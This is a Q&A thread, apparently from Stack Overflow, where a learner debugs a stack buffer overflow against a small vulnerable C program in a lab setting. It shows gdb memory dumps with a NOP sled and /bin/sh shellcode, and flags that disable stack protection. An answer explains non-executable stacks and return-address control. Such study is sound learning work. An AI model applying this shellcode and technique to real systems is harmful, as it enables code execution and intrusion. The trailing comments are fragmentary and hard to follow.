I am trying to do a simple buffer overflow that just calls /bin/sh but can't seem to get it to work, it just segfaults. This same exploit worked on a linux vm that I ported over to my mac. As far as I'm concerned I have control of EIP and it points to my nopsled. I have tried a few addresses within my nosled but no luck. I have also tried adjusting nopsled's before and after my shellcode but still no luck.
Here is the c code that I am exploiting:
#include <stdio.h>
int main(int argc, char **argv){
char buf[128];
strcpy(buf,argv[1]);
}
Compile:
$gcc -g -m32 -fno-stack-protector -o basic basic.c
The disassembly of main:
(gdb) disas main
0x00001f40 <+0>: push %ebp
0x00001f41 <+1>: mov %esp,%ebp
0x00001f43 <+3>: push %esi
0x00001f44 <+4>: sub $0xa4,%esp
0x00001f4a <+10>: mov 0xc(%ebp),%eax
0x00001f4d <+13>: mov 0x8(%ebp),%ecx
0x00001f50 <+16>: xor %edx,%edx
0x00001f52 <+18>: lea -0x8c(%ebp),%esi
0x00001f58 <+24>: mov %ecx,-0x8(%ebp)
0x00001f5b <+27>: mov %eax,-0xc(%ebp)
0x00001f5e <+30>: mov -0xc(%ebp),%eax
0x00001f61 <+33>: mov 0x4(%eax),%eax
0x00001f64 <+36>: mov %esp,%ecx
0x00001f66 <+38>: mov %eax,0x4(%ecx)
0x00001f69 <+41>: mov %esi,(%ecx)
0x00001f6b <+43>: mov %edx,-0x90(%ebp)
0x00001f71 <+49>: call 0x1f8e
0x00001f76 <+54>: mov -0x90(%ebp),%ecx
0x00001f7c <+60>: mov %eax,-0x94(%ebp)
0x00001f82 <+66>: mov %ecx,%eax
0x00001f84 <+68>: add $0xa4,%esp
0x00001f8a <+74>: pop %esi
0x00001f8b <+75>: pop %ebp
strcpy() is the call at *main+49 so I put a break at *main+54 and run it feeding in my payload and inspect the area around esp...
(gdb) b *main+54
Breakpoint 1 at 0x1f76: file basic.c, line 8.
(gdb) r `cat payload`
Starting program: /Users/mnaymik/Desktop/test/basic `cat payload`
Breakpoint 1, main (argc=-1869574000, argv=0x4e68732f) at basic.c:8
8 }
(gdb) x/40x $esp
0xbffffae0: 0xbffffafc 0xbffffc86 0x00000000 0x00000000
0xbffffaf0: 0x00000000 0x00000000 0x00000000 0x90909090
0xbffffb00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb10: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb20: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb30: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb60: 0x31c03190 0x31c931db 0xeb0bb0d2 0x4b885b06
0xbffffb70: 0xe880cd07 0xfffffff5 0x6e69622f 0x4e68732f
My shellcode is getting into memory and does seem to overwrite EIP with the correct address. But I get an access error for 0xc7000000?
(gdb) s
Warning:
Cannot insert breakpoint 0.
Cannot access memory at address 0xc7000000
0xbffffb10 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0xbffffc1c -1073742820
esp 0xbffffb90 0xbffffb90
ebp 0x90909090 0x90909090
esi 0x90909090 -1869574000
edi 0x0 0
eip 0xbffffb10 0xbffffb10
eflags 0x386 [ PF SF TF IF ]
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x0 0
gs 0xf 15
Anyone have any idea what I am doing wrong?
EDIT:
I had to rebuild gcc and ld as there was no -z flag on my version in my original post. So the offsets have slightly changed.
So I set a break point right after the call strcpy
(gdb) r `cat pl`
Breakpoint 1, 0x565555d8 in main (
argc=<error reading variable: Cannot access memory at address 0x45455645>,
argv=<error reading variable: Cannot access memory at address 0x45455649>)
at basic.c:7
7 strcpy(buf,argv[1]);
EBP is @ 0xffffd1f8
(gdb) i r
eax 0xffffd170 -11920
ecx 0xffffd4e0 -11040
edx 0xffffd1f9 -11783
ebx 0x56557000 1448439808
esp 0xffffd160 0xffffd160
ebp 0xffffd1f8 0xffffd1f8
esi 0x2 2
edi 0xf7fab000 -134565888
eip 0x565555d8 0x565555d8 <main+56>
eflags 0x202 [ IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
I have replaced ebp + 4 to contain an address where my nopsled is:
(gdb) x/40x $esp
0xffffd160: 0xffffd170 0xffffd453 0xf7ffd918 0x565555b7
0xffffd170: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd180: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd190: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd1a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd1b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd1c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd1d0: 0xc389c031 0x80cd17b0 0x6852d231 0x68732f6e
0xffffd1e0: 0x622f2f68 0x52e38969 0x8de18953 0x80cd0b42
0xffffd1f0: 0x41414141 0x41414141 0x41414141 0xffffd180
(gdb) x/2x $ebp
0xffffd1f8: 0x41414141 0xffffd180
No luck, this is what I get:
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x565555e9 in main (
argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>)
at basic.c:8
8 }
(gdb) i r
eax 0x0 0
ecx 0x41414141 1094795585
edx 0xffffd1fd -11779
ebx 0x41414141 1094795585
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0x2 2
edi 0xf7fab000 -134565888
eip 0x565555e9 0x565555e9 <main+73>
eflags 0x10282 [ SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
SOLVED:
The accepted answer to this post explains it (https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it) Clearing the env variables and compiling with gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -g vuln.c -o vuln
made it a vanilla B.O.
In order for instructions written to the runtime stack to be executed, the stack must have the execute permission set to true.
$gcc -g -m32 -fno-stack-protector -o basic basic.c
When compiled with these arguments, the permissions of the process segments are as follows:
$ readelf -l basic
Elf file type is EXEC (Executable file)
Entry point 0x8048310
There are 9 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x005c8 0x005c8 R E 0x1000
LOAD 0x000f08 0x08049f08 0x08049f08 0x00114 0x00118 RW 0x1000
DYNAMIC 0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x0004d0 0x080484d0 0x080484d0 0x0002c 0x0002c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10 < Notice!
GNU_RELRO 0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1
The runtime stack has read and write permissions, but is not executable. This is what is causing the segfault. The CPU is attempting to execute instructions located at an address in virtual memory that only has RW permissions.
To address this, compile the source code with the -z execstack
arguments to gcc
:
$ gcc -g -m32 -fno-stack-protector -z execstack -o basic basic.c
Now the stack is executable:
$ readelf -l basic
Elf file type is EXEC (Executable file)
Entry point 0x8048310
There are 9 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x005c8 0x005c8 R E 0x1000
LOAD 0x000f08 0x08049f08 0x08049f08 0x00114 0x00118 RW 0x1000
DYNAMIC 0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x0004d0 0x080484d0 0x080484d0 0x0002c 0x0002c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10 < Notice!
GNU_RELRO 0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1
The CPU should now be able to execute instructions located on the program runtime stack without a segfault occurring.
Update: Both ebp
and esi
(part of this function's preamble) have been overwritten with NOP instructions, so it is likely that the return address at 4(ebp)
has also been overwritten, causing 4 NOP instructions to be written to eip
resulting in the new segfault at 0x90909090
rather than at 0xc7000000
.
When it comes to buffer overflows on the stack, gaining control of EIP revolves around the ret
instruction, the counterpart to call
, since it is this instruction that can write to eip
. For call
:
When executing a near call, the processor pushes the value of the EIP register (which contains the offset of the instruction following the CALL instruction) onto the stack (for use later as a return-instruction pointer). The processor then branches to the address in the current code segment specified with the target operand.
and ret
(emphasis mine):
When executing a near return, the processor pops the return instruction pointer (offset) from the top of the stack into the EIP register and begins program execution at the new instruction pointer.
This means that the memory address of an executable instruction rather than a sequence of instructions must be located at 4(ebp)
since this is where call
pushed the return address. This means that the number of NOPS must be precicely calculated such that the memory address of the first instruction to execute is written to where call
wrote the return address - 4(ebp)
. Whatever is at this location will be treated by eip
as a memory address (the return instruction pointer), not executable code. This must be taken into consideration when constructing your payload.
From the "Shell Code" section of Smashing The Stack For Fun And Profit (emphasis mine):
So now that we know that we can modify the return address and the flow of execution, what program do we want to execute? In most cases we'll simply want the program to spawn a shell. From the shell we can then issue other commands as we wish. But what if there is no such code in the program we are trying to exploit? How can we place arbitrary instruction into its address space? The answer is to place the code which we are trying to execute in the buffer we are overflowing, and overwrite the return address so it points back into the buffer.
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
... (gdb)s 0x90909090 in ?? ()
eip shows 0x90909090 — Mar 16, 2017 at 23:42 $ebp + 4
at breakpoint *main+54
(breakpoint 1 in the question)? — Mar 17, 2017 at 00:02 4(ebp)
. Check if it is being overwritten. I updated my answer. — Mar 17, 2017 at 00:52 0x90909090
. I guess Im not understanding something here then. So I have nospled + shellcode
that fill up my buffer followed by \x41\x41\x41\x41
+ \x10\xFB\xFF\xBF
<- shouldn't the address here make me now go into the nopsled and start execution? Is there a step I am forgetting? Why is it trying to execute the address at this location rather than go here and start executing? — Mar 17, 2017 at 01:42 4(ebp)
rather than code. Perhaps this is what you have been missing? I updated the answer again — Mar 17, 2017 at 02:51 External links referenced by this document: